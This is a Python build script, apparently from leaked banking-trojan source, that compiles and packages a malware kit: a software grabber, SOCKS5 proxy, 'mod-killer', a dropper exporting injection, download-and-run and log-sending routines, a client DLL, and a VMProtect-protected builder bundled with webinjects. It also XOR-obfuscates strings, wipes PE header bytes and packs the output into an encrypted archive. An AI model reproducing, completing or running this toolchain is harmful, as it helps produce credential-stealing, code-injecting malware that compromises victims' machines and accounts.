        debug = True
    main(debug)

import sys
import fnmatch
import os
import subprocess
import datetime
import struct
import re
import binascii
import random
import shutil

#VC_PATH = 'C:\\Program Files\\Microsoft Visual Studio 10.0\\VC'
#SDK_PATH = 'C:\\Program Files\\Microsoft SDKs\\Windows\v7.0A'

VCDLLS_PATH = 'C:\\Program Files (x86)\\Microsoft Visual Studio 10.0\\Common7\\IDE'
VC_PATH = 'C:\\Program Files (x86)\\Microsoft Visual Studio 10.0\\VC'
SDK_PATH = 'C:\\Program Files (x86)\\Microsoft SDKs\\Windows\\v7.0A'

VCBIN_PATH = VC_PATH + '\\bin'
SDKBIN_PATH = SDK_PATH + '\\bin'

CL_WIN32 = '"' + VCBIN_PATH + '\\cl.exe" /arch:SSE {0}'
CL_WIN64 = '"' + VCBIN_PATH + '\\amd64\\cl.exe" /favor:blend {0}'

LINK_WIN32 = '"' + VCBIN_PATH + '\\link.exe" /MACHINE:X86 {0}'
LINK_WIN64 = '"' + VCBIN_PATH + '\\amd64\\link.exe" /MACHINE:X64 {0}'

ASM_WIN64 = '"' + VCBIN_PATH + '\\amd64\\ml64.exe" {0}'

RC_WIN = '"' + SDKBIN_PATH + '\\rc.exe" {0}'

BIN_PATH = 'bin'
SOURCE_PATH = 'source'
TEMP_PATH = 'temp'
OUTPUT_PATH = 'output'

CONFIG_FILENAME = 'config.ini'
# ---------------------------------------------------------------------
CL_ARGs = '{opt} {code} {output} {debug} {pre} {lang} {misc} {include} '
# ---------------------------------------------------------------------
RC_ARGs = '{include} {opt} {out} '
rc_opt = '/D "_UNICODE" /D "UNICODE"'
rc_out = '/FO"{0}"'
# ---------------------------------------------------------------------
LINK_ARGs = '{libpath} {entrypoint} {opt} {map} {out} {lib} '
lnk_map = '/MAP:"{0}" /MAPINFO:EXPORTS'
lnk_out = '/OUT:"{0}"'
# ---------------------------------------------------------------------
def die(message = None):
    if message:
        print(message)
    sys.exit(-1)

def listdir(dir, mask, quote):
    list = []
    for file in os.listdir(dir):
        if fnmatch.fnmatch(file, mask):
            if quote:
                list.append('"{0}"'.format(os.path.join(dir, file)))
            else:
                list.append(os.path.join(dir, file))
    return list

def cleandir(topdir):
    for root, dirs, files in os.walk(topdir, topdown=False):
        for name in files:
            os.remove(os.path.join(root, name))
        for name in dirs:
            os.rmdir(os.path.join(root, name))
    try:
        os.rmdir(topdir)
    except WindowsError:
        pass
    return

def read_config(filename):
    f = open(filename, 'rt')

    config = {}
    for line in f.readlines():
        list = line.strip('\r\n\t').split('=')
        if len(list) == 2:
            config[list[0].strip(' \r\n\t')] = list[1].strip(' \r\n\t')
    f.close()

    return config

def generate_header_from_binary(binary, header, name):
    f = open(binary, 'rb')
    binary_data = f.read()
    f.close()

    f = open (header, 'wt')

    f.write('#pragma once\n\n')
    f.write('// autogenerated file\n\n')

    f.write('const BYTE ' + name + '[] =\n')
    f.write('{\n')
    x = 0
    line = ''
    for i in range(len(binary_data)):
        if x == 0:
            line = '\t0x{0:02X}'.format(binary_data[i])
            x += 1
        elif x == 16:
            f.write(line)
            f.write(',\n')
            line = '\t0x{0:02X}'.format(binary_data[i])
            x = 1
        else:
            line += ', 0x{0:02X}'.format(binary_data[i])
            x += 1
    if x != 0:
        f.write(line)
        f.write('\n')
    f.write('};\n')
    f.close()
    return

def generate_config_header(config, path, debug_build = False):
    f = open(path,'rt')
    data = f.read()
    f.close()

    generated_data = '//AUTOGENERATED_PART_START\n'
    version = config['version'].split('.')
    version = '0x{0:02X}{1:02X}{2:02X}{3:02X}'.format(int(version[0]), int(version[1]), int(version[2]), int(version[3]))
    if debug_build:
        name = '{0} {1}'.format(config['name'], 'Debug')
    else:
        name = config['name']
    generated_data += '#define BOT_NAME\t\tL"{0}"\n'.format(name)
    generated_data += '#define BOT_VERSION\t\t{0} //{1}\n'.format(version, config['version'])
    generated_data += '#define BOT_BUILDTIME\tL"' + datetime.datetime.utcnow().strftime('%d.%m.%Y %H:%M:%S GMT') + '"\n'
    generated_data += '#define BO_DEBUG\t\t{0}\n'.format(1 if debug_build else 0)
    generated_data += '#define RAND_DWORD1\t\t0x{0:08X}\n'.format(random.randint(1,0xFFFFFFFF))
    generated_data += '#define RAND_DWORD2\t\t0x{0:08X}\n'.format(random.randint(1,0xFFFFFFFF))
	
    generated_data += '#define BO_KEYLOGGER\t\t0\n'
	
    generated_data += '//AUTOGENERATED_PART_END'

    data = re.sub(r'//AUTOGENERATED_PART_START.+//AUTOGENERATED_PART_END', generated_data, data, flags=re.IGNORECASE|re.DOTALL)

    f = open(path,'w')
    f.write(data)
    f.close()

def generate_crypted_string(path):
    strings_dict = {}
    random.seed(None)
    f = open(os.path.join(path, 'cryptedstrings.txt'),'rt')
    for line in f.readlines():
        line = line.strip('\r\n \t')
        if (len(line) and line[0] != '/'):
            matched = re.findall(r' ".+$', line, flags=re.IGNORECASE)
            strings_dict[line.split()[0]] = bytes(matched[0].strip('" \n\r'), 'utf-8').decode('unicode_escape')
    f.close()

    cpp_content = ''
    header_id = ''
    header_len = ''
    header_crc = ''
    header_crci = ''

    max_len = 0
    while (len(strings_dict)):
        v = random.choice(list(strings_dict.keys()))
        hex_value = ''
        xor = random.randint(1, 255)
        z = 0
        for x in strings_dict[v]:
            hex_value += "\\x{0:02X}".format(((ord(x) ^ xor) ^ z) & 0xFF)
            z += 1

        cpp_content += '\t{{{0: 4d}, {1: 4d}, "{2:s}"}},\n'.format(xor, len(strings_dict[v]), hex_value)

        header_id += '\t\tid_{0:s},\n'.format(v)
        header_len += '\t\tlen_{0:s} = ({1:d} + 1),\n'.format(v, len(strings_dict[v]))
        header_crc += '\t\tcrc_{0:s} = 0x{1:08X},\n'.format(v, binascii.crc32(bytes(strings_dict[v], 'UTF-16LE')))
        header_crci += '\t\tcrci_{0:s} = 0x{1:08X},\n'.format(v, binascii.crc32(bytes(strings_dict[v].lower(), 'UTF-16LE')))

        max_len = max([max_len, len(strings_dict[v])])
        strings_dict.pop(v)

    header_id += '\t\tid_count\n'
    header_len += '\t\tlen_max = ({0:d} + 1)\n'.format(max_len)
    cpp_content += '\t{   0,    0, NULL}\n'

    cpp_content = '//STRINGS_DATA_BEGIN\n' + cpp_content + '//STRINGS_DATA_END'
    header_id = '//STRINGS_ID_BEGIN\n' + header_id + '//STRINGS_ID_END'
    header_len = '//STRINGS_LENGTH_BEGIN\n' + header_len + '//STRINGS_LENGTH_END'
    header_crc = '//STRINGS_CRC_BEGIN\n' + header_crc + '//STRINGS_CRC_END'
    header_crci = '//STRINGS_CRCI_BEGIN\n' + header_crci + '//STRINGS_CRCI_END'

    f = open(os.path.join(path, 'cryptedstrings.h'),'rt')
    data = f.read()
    f.close()

    crc_rand = '#define CRC_RAND 0x{0:08X}'.format(random.randint(1,0xFFFFFFFF))

    data = re.sub(r'//STRINGS_ID_BEGIN.+//STRINGS_ID_END', header_id, data, flags=re.IGNORECASE|re.DOTALL)
    data = re.sub(r'//STRINGS_LENGTH_BEGIN.+//STRINGS_LENGTH_END', header_len, data, flags=re.IGNORECASE|re.DOTALL)
    data = re.sub(r'//STRINGS_CRC_BEGIN.+//STRINGS_CRC_END', header_crc, data, flags=re.IGNORECASE|re.DOTALL)
    data = re.sub(r'//STRINGS_CRCI_BEGIN.+//STRINGS_CRCI_END', header_crci, data, flags=re.IGNORECASE|re.DOTALL)
    data = re.sub(r'#define CRC_RAND .+', crc_rand, data, flags=re.IGNORECASE)

    f = open(os.path.join(path, 'cryptedstrings.h'),'w')
    f.write(data)
    f.close()

    f = open(os.path.join(path, 'cryptedstrings.cpp'),'rt')
    data = f.read()
    f.close()

    data = re.sub(r'//STRINGS_DATA_BEGIN.+//STRINGS_DATA_END', cpp_content, data, flags=re.IGNORECASE|re.DOTALL)

    f = open(os.path.join(path, 'cryptedstrings.cpp'),'w')
    f.write(data)
    f.close()

    return

def clean_pe(file):

    f = open(file, 'rb')
    pe32 = f.read()
    f.close()

    header_offset = struct.unpack_from('L', pe32, 0x3C)[0]

    pe32 = bytearray(pe32)
    for i in range(0x40, header_offset):
        pe32[i] = 0x00

    f = open(file, 'wb')
    f.write(pe32)
    f.close()


def run(cmd):
    p = subprocess.Popen(cmd)
    return p.wait()

def pack_dir(bin, out, dir):

    password = ''.join(['{:<PASSWORD>(random.randint(0, 255)) for x in range(16)])
    run_7z =  '{0}\\7z.exe '.format(bin)
    run_7z += 'a -t7z -mx=9 -ms=on -mf=on -mhc=on -mhe=on -mmt=on -p{0} '.format(password)
    run_7z += '-r -ssw -y -- "{0}" "{1}"'.format(os.path.join(out,'pack.7z'), dir)

    f = open(os.path.join(out,'password.txt'), 'wt')
    f.write(password)
    f.close()

    print(run_7z)
    run(run_7z)

    return

def build_project(project, project_out, params, is_x64 = False):

    cwd = os.getcwd()
    source = os.path.join(os.path.join(cwd, SOURCE_PATH), project)
    temp = os.path.join(os.path.join(cwd, TEMP_PATH), project)
    output = os.path.join(os.path.join(cwd, OUTPUT_PATH), project)
    #ugly hack
    if is_x64:
        temp += '64'
        output += '64'
    out_file = os.path.join(output, project_out)

    try:
        os.mkdir(temp)
        os.mkdir(output)
    except WindowsError:
        die('ERROR: Cant create directory')

    cpp_files = ' '.join(listdir(source, '*.cpp', True))
    asm_files = ' '.join(listdir(source, '*.asm', True))

    include = '/I "{0}"'.format(os.path.join(VC_PATH, 'include'))
    include += ' /I "{0}"'.format(os.path.join(SDK_PATH, 'Include'))
    include += ' /I "{0}"'.format(os.path.join(cwd, 'include'))
    include += ' /I "{0}"'.format(os.path.join(cwd, os.path.join(SOURCE_PATH, 'common')))
    include += ' /I "{0}"'.format(os.path.join(cwd, os.path.join(os.path.join(SOURCE_PATH, 'common'), 'share')))

    print('--- COMPILE ---')
    args = CL_ARGs.format(opt=params['cl_switch_opt'], code=params['cl_switch_code_gen'], output=params['cl_switch_output'].format(temp),
        debug=params['cl_switch_debugging'], lang=params['cl_switch_lang'], misc=params['cl_switch_misc'], include=include,
        pre= ' '.join([params['preproc1'], params['preproc2']]))

    CL = CL_WIN64 if is_x64 else CL_WIN32
    res = run(CL.format(args + cpp_files))
    if (res != 0):
        die()
	
    resources = os.path.join(source, 'resources')
    if os.path.exists(resources):
        print('--- RES ---')

        include = '/I "{0}"'.format(os.path.join(VC_PATH, 'include'))
        include += ' /I "{0}"'.format(os.path.join(SDK_PATH, 'Include'))
        include += ' /I "{0}"'.format(os.path.join(cwd, 'include'))

        args = RC_ARGs.format(include=include, opt=rc_opt, out=rc_out.format(os.path.join(temp, '0.res')))

        rc_files = ' '.join(listdir(os.path.join(source, 'resources'), '*.rc', True))

        res = run(RC_WIN.format(args + rc_files))
        if (res != 0):
            die()

    print('--- LINK ---')

    if is_x64:
        libpath = '/LIBPATH:"{0}"'.format(os.path.join(VC_PATH, 'lib\\amd64'))
        libpath += ' /LIBPATH:"{0}"'.format(os.path.join(SDK_PATH, 'Lib\\x64'))
        libpath += ' /LIBPATH:"{0}"'.format(os.path.join(cwd, 'lib\\x64'))        
    else:
        libpath = '/LIBPATH:"{0}"'.format(os.path.join(VC_PATH, 'lib'))
        libpath += ' /LIBPATH:"{0}"'.format(os.path.join(SDK_PATH, 'lib'))
        libpath += ' /LIBPATH:"{0}"'.format(os.path.join(cwd, 'lib\\x32'))        

    args = LINK_ARGs.format(libpath=libpath, entrypoint=params['entrypoint'],
        opt=' '.join([params['linkopt'], params['lnk_opt1'], params['lnk_opt2'], params['lnk_opt3']]),
        lib=params['linklibs'], map=lnk_map.format(os.path.join(temp, project + '.map')),
        out=lnk_out.format(out_file))

    obj_files = ' '.join(listdir(temp, '*.obj', True))
    res_files = ' '.join(listdir(temp, '*.res', True))

    LINK = LINK_WIN64 if is_x64 else LINK_WIN32
    res = run(LINK.format(args + res_files + ' ' + obj_files))
    if (res != 0):
        die()

    clean_pe(out_file)

def main(debug_build = False):
    print('--- BUILD START ---')

    if not os.path.exists(VC_PATH) or not os.path.exists(SDK_PATH) or not os.path.exists(VCDLLS_PATH):
        die('Error: Visual Studio path is incorrect.')

    os.putenv('PATH', os.getenv('PATH') + ';' + VCDLLS_PATH)

    cwd = os.getcwd()
    source = os.path.join(cwd, SOURCE_PATH)
    temp = os.path.join(cwd, TEMP_PATH)
    output = os.path.join(cwd, OUTPUT_PATH)
    bin = os.path.join(cwd, BIN_PATH)

    try:
        cleandir(temp)
        cleandir(output)
        os.mkdir(temp)
        os.mkdir(output)
    except WindowsError:
        pass

    print('--- AUTOGENERATED FILES ---')
    config = read_config(os.path.join(cwd, CONFIG_FILENAME))
    generate_crypted_string(os.path.join(source, 'clientdll'))
    generate_config_header(config, os.path.join(source,'common\\config.h'), debug_build)
	
    params = {'cl_switch_code_gen' : '/EHa /fp:fast /fp:except- /Gr /GF /GL /GR- /Gy', # Code Generation
              'cl_switch_output' : '/Fo"{0}/"',                                        # Output Files
              'cl_switch_debugging' : '/GS-',                                          # Debugging
              'cl_switch_lang' : '/vmb /vms /Zl',                                      # Language
              'cl_switch_misc' : '/c /errorReport:none /MP4 /nologo /W2 /WL /LD',      # Miscellaneous
	          'cl_switch_opt' : '/O1 /Ob2 /Oi- /Os /Oy',
              'lnk_opt1' : '/errorReport:none /NXCOMPAT /LTCG /NODEFAULTLIB /NOLOGO',
              'lnk_opt2' : '/OPT:REF /OPT:ICF /DYNAMICBASE:NO /INCREMENTAL:NO',
              'lnk_opt3' : '/MANIFESTUAC:NO /SAFESEH:NO /VERSION:1.0 /WX',
			  'preproc1' : '/D "SECURITY_WIN32" /D "WIN32_LEAN_AND_MEAN" /D "OEMRESOURCE" /D "NDEBUG" /D "WIN32"',
              'preproc2' : '/D "_WINDOWS" /D "_UNICODE" /D "UNICODE" /D "_USRDLL" /D "_WINDLL" /X',
              'entrypoint' : '/ENTRY:DllMain',
              'linkopt' : '/SUBSYSTEM:WINDOWS /DLL /MERGE:.rdata=.text /MERGE:code=.text /BASE:0x1000000',# /SECTION:.text,WRE',
			  'linklibs' : 'kernel32.lib user32.lib advapi32.lib shlwapi.lib shell32.lib secur32.lib psapi.lib ole32.lib gdi32.lib comctl32.lib ws2_32.lib crypt32.lib wininet.lib lde32.lib msxml2.lib oleaut32.lib netapi32.lib userenv.lib comdlg32.lib mpr.lib uuid.lib wbemuuid.lib Version.lib',
              }

    build_project('softwaregrabber','softwaregrabber.dll', params)
	
    params = {'cl_switch_code_gen' : '/EHa /fp:fast /fp:except- /Gr /GF /GL /GR- /Gy', # Code Generation
              'cl_switch_output' : '/Fo"{0}/"',                                        # Output Files
              'cl_switch_debugging' : '/GS-',                                          # Debugging
              'cl_switch_lang' : '/vmb /vms /Zl',                                      # Language
              'cl_switch_misc' : '/c /errorReport:none /MP4 /nologo /W2 /WL /LD',      # Miscellaneous
	          'cl_switch_opt' : '/O1 /Ob2 /Oi- /Os /Oy',
              'lnk_opt1' : '/errorReport:none /NXCOMPAT /LTCG /NODEFAULTLIB /NOLOGO',
              'lnk_opt2' : '/OPT:REF /OPT:ICF /DYNAMICBASE:NO /INCREMENTAL:NO',
              'lnk_opt3' : '/MANIFESTUAC:NO /SAFESEH:NO /VERSION:1.0 /WX',
			  'preproc1' : '/D "SECURITY_WIN32" /D "WIN32_LEAN_AND_MEAN" /D "OEMRESOURCE" /D "NDEBUG" /D "WIN32"',
              'preproc2' : '/D "_WINDOWS" /D "_UNICODE" /D "UNICODE" /D "_USRDLL" /D "_WINDLL" /X',
              'entrypoint' : '/ENTRY:DllMain',
              'linkopt' : '/SUBSYSTEM:WINDOWS /DLL /MERGE:.rdata=.text /MERGE:code=.text /BASE:0x1000000',# /SECTION:.text,WRE',
			  'linklibs' : 'kernel32.lib user32.lib advapi32.lib shlwapi.lib shell32.lib secur32.lib psapi.lib ole32.lib gdi32.lib comctl32.lib ws2_32.lib crypt32.lib wininet.lib lde32.lib msxml2.lib oleaut32.lib netapi32.lib userenv.lib comdlg32.lib mpr.lib uuid.lib wbemuuid.lib Version.lib',
              }

    build_project('socks_server','socks5Server32.dll', params)
	
    params = {'cl_switch_code_gen' : '/EHa /fp:fast /fp:except- /Gr /GF /GL /GR- /Gy', # Code Generation
              'cl_switch_output' : '/Fo"{0}/"',                                        # Output Files
              'cl_switch_debugging' : '/GS-',                                          # Debugging
              'cl_switch_lang' : '/vmb /vms /Zl',                                      # Language
              'cl_switch_misc' : '/c /errorReport:none /MP4 /nologo /W2 /WL /LD',      # Miscellaneous
	          'cl_switch_opt' : '/O1 /Ob2 /Oi- /Os /Oy',
              'lnk_opt1' : '/errorReport:none /NXCOMPAT /LTCG /NODEFAULTLIB /NOLOGO',
              'lnk_opt2' : '/OPT:REF /OPT:ICF /DYNAMICBASE:NO /INCREMENTAL:NO',
              'lnk_opt3' : '/MANIFESTUAC:NO /SAFESEH:NO /VERSION:1.0 /WX',
	          'preproc1' : '/D "SECURITY_WIN32" /D "WIN32_LEAN_AND_MEAN" /D "OEMRESOURCE" /D "NDEBUG" /D "_WIN64"',
              'preproc2' : '/D "_WINDOWS" /D "_UNICODE" /D "UNICODE" /D "_USRDLL" /D "_WINDLL" /X',
              'entrypoint' : '/ENTRY:DllMain',
              'linkopt' : '/SUBSYSTEM:WINDOWS /DLL /MERGE:.rdata=.text /MERGE:code=.text /BASE:0x1000000',# /SECTION:.text,WRE',
              'linklibs' : 'ntdll.lib kernel32.lib user32.lib advapi32.lib shlwapi.lib shell32.lib secur32.lib psapi.lib ole32.lib gdi32.lib comctl32.lib ws2_32.lib crypt32.lib wininet.lib LDE64x64.lib msxml2.lib oleaut32.lib netapi32.lib userenv.lib comdlg32.lib mpr.lib uuid.lib wbemuuid.lib Version.lib',
              }

    build_project('socks_server','socks5Server64.dll', params, True)
	
    params = {'cl_switch_code_gen' : '/EHa /fp:fast /fp:except- /Gr /GF /GL /GR- /Gy', # Code Generation
              'cl_switch_output' : '/Fo"{0}/"',                                        # Output Files
              'cl_switch_debugging' : '/GS-',                                          # Debugging
              'cl_switch_lang' : '/vmb /vms /Zl',                                      # Language
              'cl_switch_misc' : '/c /errorReport:none /MP4 /nologo /W2 /WL /LD',      # Miscellaneous
	          'cl_switch_opt' : '/O1 /Ob2 /Oi- /Os /Oy',
              'lnk_opt1' : '/errorReport:none /NXCOMPAT /LTCG /NODEFAULTLIB /NOLOGO',
              'lnk_opt2' : '/OPT:REF /OPT:ICF /DYNAMICBASE:NO /INCREMENTAL:NO',
              'lnk_opt3' : '/MANIFESTUAC:NO /SAFESEH:NO /VERSION:1.0 /WX',
	          'preproc1' : '/D "SECURITY_WIN32" /D "WIN32_LEAN_AND_MEAN" /D "OEMRESOURCE" /D "NDEBUG" /D "WIN32"',
              'preproc2' : '/D "_WINDOWS" /D "_UNICODE" /D "UNICODE" /D "_USRDLL" /D "_WINDLL" /X',
              'entrypoint' : '/ENTRY:DllMain',
              'linkopt' : '/SUBSYSTEM:WINDOWS /DLL /MERGE:.rdata=.text /MERGE:code=.text /BASE:0x1000000',# /SECTION:.text,WRE',
              'linklibs' : 'kernel32.lib user32.lib advapi32.lib shlwapi.lib shell32.lib secur32.lib psapi.lib ole32.lib gdi32.lib comctl32.lib ws2_32.lib crypt32.lib wininet.lib lde32.lib msxml2.lib oleaut32.lib netapi32.lib userenv.lib comdlg32.lib mpr.lib uuid.lib wbemuuid.lib Version.lib urlmon.lib',
              }

    build_project('mod-killer','mod-killer.dll', params)

    params = {'cl_switch_code_gen' : '/Gm- /MT /GS- /Gy /fp:precise /Zc:wchar_t /Zc:forScope /GR- /Gz /GL /analyze-', # Code Generation
              'cl_switch_output' : '/Fo"{0}/"',                                        # Output Files
              'cl_switch_debugging' : '/GS-',                                          # Debugging
              'cl_switch_lang' : '/Zl',                                      # Language
              'cl_switch_misc' : '/c /errorReport:none /MP4 /nologo /W3 /WX-',      # Miscellaneous
	          'cl_switch_opt' : '/Ox /Ob1 /Oi /Os /Oy-',
              'lnk_opt1' : '/errorReport:none /NXCOMPAT /LTCG /NODEFAULTLIB /NOLOGO /FIXED:NO /ALLOWISOLATION',
              'lnk_opt2' : '/OPT:REF /OPT:ICF /DYNAMICBASE /INCREMENTAL:NO',
              'lnk_opt3' : '/MANIFESTUAC:"level=\'asInvoker\' uiAccess=\'false\'" /VERSION:1.0',
	          'preproc1' : '/D "SECURITY_WIN32" /D "WIN32_LEAN_AND_MEAN" /D "OEMRESOURCE" /D "NDEBUG" /D "WIN32" /D "_WIN32" /D "_CRT_SECURE_NO_WARNINGS" /D "_MBCS"',
              'preproc2' : '/D "_WINDOWS" /X',
              'entrypoint' : '/ENTRY:Entry /export:InjectNormalRoutine /export:InjectApcRoutine /export:DownloadRunExeUrl /export:DownloadRunExeId /export:DownloadRunModId /export:DownloadUpdateMain /export:WriteConfigString /export:SendLogs',
              'linkopt' : '/SUBSYSTEM:WINDOWS',# /SECTION:.text,WRE',
              'linklibs' : 'ntdll.lib kernel32.lib user32.lib advapi32.lib shlwapi.lib shell32.lib secur32.lib psapi.lib ole32.lib gdi32.lib comctl32.lib ws2_32.lib crypt32.lib wininet.lib msxml2.lib oleaut32.lib netapi32.lib userenv.lib comdlg32.lib mpr.lib uuid.lib wbemuuid.lib Version.lib urlmon.lib msvcrt.lib taskschd.lib comsupp.lib imagehlp.lib Winspool.lib aplib.lib',
              }

    build_project('dropper','dropper32.exe', params)

    params = {'cl_switch_code_gen' : '/Gm- /MT /GS- /Gy /fp:precise /Zc:wchar_t /Zc:forScope /GR- /Gz /GL /analyze-', # Code Generation
              'cl_switch_output' : '/Fo"{0}/"',                                        # Output Files
              'cl_switch_debugging' : '/GS-',                                          # Debugging
              'cl_switch_lang' : '/Zl',                                      # Language
              'cl_switch_misc' : '/c /errorReport:none /MP4 /nologo /W3 /WX-',      # Miscellaneous
	          'cl_switch_opt' : '/Ox /Ob1 /Oi /Os /Oy-',
              'lnk_opt1' : '/errorReport:none /NXCOMPAT /LTCG /NODEFAULTLIB /NOLOGO /FIXED:NO /ALLOWISOLATION',
              'lnk_opt2' : '/OPT:REF /OPT:ICF /DYNAMICBASE /INCREMENTAL:NO',
              'lnk_opt3' : '/MANIFESTUAC:"level=\'asInvoker\' uiAccess=\'false\'" /VERSION:1.0',
	          'preproc1' : '/D "SECURITY_WIN32" /D "WIN32_LEAN_AND_MEAN" /D "OEMRESOURCE" /D "NDEBUG" /D "_WIN64" /D "_CRT_SECURE_NO_WARNINGS" /D "_MBCS"',
              'preproc2' : '/D "_WINDOWS" /X',
              'entrypoint' : '/ENTRY:Entry /export:InjectNormalRoutine /export:InjectApcRoutine /export:DownloadRunExeUrl /export:DownloadRunExeId /export:DownloadRunModId /export:DownloadUpdateMain /export:WriteConfigString /export:SendLogs',
              'linkopt' : '/SUBSYSTEM:WINDOWS',# /SECTION:.text,WRE',
              'linklibs' : 'ntdll.lib kernel32.lib user32.lib advapi32.lib shlwapi.lib shell32.lib secur32.lib psapi.lib ole32.lib gdi32.lib comctl32.lib ws2_32.lib crypt32.lib wininet.lib msxml2.lib oleaut32.lib netapi32.lib userenv.lib comdlg32.lib mpr.lib uuid.lib wbemuuid.lib Version.lib urlmon.lib msvcrt.lib taskschd.lib comsupp.lib imagehlp.lib Winspool.lib aplib.lib',
              }

    build_project('dropper','dropper64.exe', params, True)
	
    params = {'cl_switch_code_gen' : '/EHa /fp:fast /fp:except- /Gr /GF /GL /GR- /Gy', # Code Generation
              'cl_switch_output' : '/Fo"{0}/"',                                        # Output Files
              'cl_switch_debugging' : '/GS-',                                          # Debugging
              'cl_switch_lang' : '/vmb /vms /Zl',                                      # Language
              'cl_switch_misc' : '/c /errorReport:none /MP4 /nologo /W2 /WL /LD',      # Miscellaneous
	          'cl_switch_opt' : '/O1 /Ob2 /Oi- /Os /Oy',
              'lnk_opt1' : '/errorReport:none /NXCOMPAT /LTCG /NODEFAULTLIB /NOLOGO',
              'lnk_opt2' : '/OPT:REF /OPT:ICF /DYNAMICBASE:NO /INCREMENTAL:NO',
              'lnk_opt3' : '/MANIFESTUAC:NO /SAFESEH:NO /VERSION:1.0 /WX',
	          'preproc1' : '/D "SECURITY_WIN32" /D "WIN32_LEAN_AND_MEAN" /D "OEMRESOURCE" /D "NDEBUG" /D "WIN32"',
              'preproc2' : '/D "_WINDOWS" /D "_UNICODE" /D "UNICODE" /D "_USRDLL" /D "_WINDLL" /X',
              'entrypoint' : '/ENTRY:DllMain /export:ImageLoadNotifyRoutine /export:ImageUnloadNotifyRoutine',
              'linkopt' : '/SUBSYSTEM:WINDOWS /DLL /MERGE:.rdata=.text /MERGE:code=.text /BASE:0x1000000',# /SECTION:.text,WRE',
              'linklibs' : 'kernel32.lib user32.lib advapi32.lib shlwapi.lib shell32.lib secur32.lib psapi.lib ole32.lib gdi32.lib comctl32.lib ws2_32.lib crypt32.lib wininet.lib lde32.lib msxml2.lib oleaut32.lib netapi32.lib userenv.lib comdlg32.lib mpr.lib uuid.lib wbemuuid.lib Version.lib',
              }

    build_project('clientdll','client32.dll', params)

    params = {'cl_switch_code_gen' : '/EHa /fp:fast /fp:except- /Gr /GF /GL /GR- /Gy', # Code Generation
              'cl_switch_output' : '/Fo"{0}/"',                                        # Output Files
              'cl_switch_debugging' : '/GS-',                                          # Debugging
              'cl_switch_lang' : '/vmb /vms /Zl',                                      # Language
              'cl_switch_misc' : '/c /errorReport:none /MP4 /nologo /W2 /WL /LD',      # Miscellaneous
	          'cl_switch_opt' : '/O1 /Ob2 /Oi- /Os /Oy',
              'lnk_opt1' : '/errorReport:none /NXCOMPAT /LTCG /NODEFAULTLIB /NOLOGO',
              'lnk_opt2' : '/OPT:REF /OPT:ICF /DYNAMICBASE:NO /INCREMENTAL:NO',
              'lnk_opt3' : '/MANIFESTUAC:NO /SAFESEH:NO /VERSION:1.0 /WX',
	          'preproc1' : '/D "SECURITY_WIN32" /D "WIN32_LEAN_AND_MEAN" /D "OEMRESOURCE" /D "NDEBUG" /D "_WIN64"',
              'preproc2' : '/D "_WINDOWS" /D "_UNICODE" /D "UNICODE" /D "_USRDLL" /D "_WINDLL" /X',
              'entrypoint' : '/ENTRY:DllMain /export:ImageLoadNotifyRoutine /export:ImageUnloadNotifyRoutine',
              'linkopt' : '/SUBSYSTEM:WINDOWS /DLL /MERGE:.rdata=.text /MERGE:code=.text /BASE:0x1000000',# /SECTION:.text,WRE',
              'linklibs' : 'kernel32.lib user32.lib advapi32.lib shlwapi.lib shell32.lib secur32.lib psapi.lib ole32.lib gdi32.lib comctl32.lib ws2_32.lib crypt32.lib wininet.lib LDE64x64.lib msxml2.lib oleaut32.lib netapi32.lib userenv.lib comdlg32.lib mpr.lib uuid.lib wbemuuid.lib Version.lib',
              }

    build_project('clientdll','client64.dll', params, True)    

    generate_header_from_binary(os.path.join(output, os.path.join('dropper', 'dropper32.exe')),
        os.path.join(os.path.join(source, 'builder'), 'dropper32.h'), 'dropperfile32')

    generate_header_from_binary(os.path.join(output, os.path.join('dropper64', 'dropper64.exe')),
        os.path.join(os.path.join(source, 'builder'), 'dropper64.h'), 'dropperfile64')
	
    generate_header_from_binary(os.path.join(output, os.path.join('clientdll', 'client32.dll')),
        os.path.join(os.path.join(source, 'builder'), 'dllfile32.h'), 'dllfile32')

    generate_header_from_binary(os.path.join(output, os.path.join('clientdll64', 'client64.dll')),
        os.path.join(os.path.join(source, 'builder'), 'dllfile64.h'), 'dllfile64')

    params = {'cl_switch_code_gen' : '/EHa /fp:fast /fp:except- /Gr /GF /GL /GR- /Gy', # Code Generation
              'cl_switch_output' : '/Fo"{0}/"',                                        # Output Files
              'cl_switch_debugging' : '/GS-',                                          # Debugging
              'cl_switch_lang' : '/vmb /vms /Zl',                                      # Language
              'cl_switch_misc' : '/c /errorReport:none /MP4 /nologo /W2 /WL /LD',      # Miscellaneous
	          'cl_switch_opt' : '/O1 /Ob2 /Oi- /Os /Oy',
              'lnk_opt1' : '/errorReport:none /NXCOMPAT /LTCG /NODEFAULTLIB /NOLOGO',
              'lnk_opt2' : '/OPT:REF /OPT:ICF /DYNAMICBASE:NO /INCREMENTAL:NO',
              'lnk_opt3' : '/MANIFESTUAC:NO /SAFESEH:NO /VERSION:1.0 /WX',
	          'preproc1' : '/D "SECURITY_WIN32" /D "WIN32_LEAN_AND_MEAN" /D "OEMRESOURCE" /D "NDEBUG" /D "WIN32"',
              'preproc2' : '/D "_WINDOWS" /D "_UNICODE" /D "UNICODE" /DBUILDER /X',
              'entrypoint' : '/ENTRY:entryPoint',
              'linkopt' : '/SUBSYSTEM:WINDOWS',
              'linklibs' : 'kernel32.lib user32.lib advapi32.lib shlwapi.lib shell32.lib gdi32.lib comctl32.lib comdlg32.lib ole32.lib psapi.lib lde32.lib VMProtectSDK32.lib',
              }
    
    outfile = 'builder_debug.exe' if debug_build else 'builder.exe'

    build_project('builder', outfile, params)

    print('--- COPY FILES ---')
    shutil.copy(os.path.join(cwd, 'example\\config.txt'), os.path.join(output, 'builder\\config.txt'))
    shutil.copy(os.path.join(cwd, 'example\\webinjects.txt'), os.path.join(output, 'builder\\webinjects.txt'))
    shutil.copy(os.path.join(cwd, 'example\\settings.ini'), os.path.join(output, 'builder\\settings.ini'))
    if debug_build:
        shutil.copy(os.path.join(cwd, 'example\\builder_debug.exe.vmp'), os.path.join(output, 'builder\\builder_debug.exe.vmp'))   
        shutil.copy(os.path.join(cwd, 'temp\\builder\\builder.map'), os.path.join(output, 'builder\\builder_debug.map'))
    else:
        shutil.copy(os.path.join(cwd, 'example\\builder.exe.vmp'), os.path.join(output, 'builder\\builder.exe.vmp'))
        shutil.copy(os.path.join(cwd, 'temp\\builder\\builder.map'), os.path.join(output, 'builder\\builder.map'))
    print('--- PACKING ---')
    pack_dir(bin, output, os.path.join(output, 'builder'))

if __name__=='__main__':
    debug = False
    if len(sys.argv) > 1 and sys.argv[1] == 'debug':
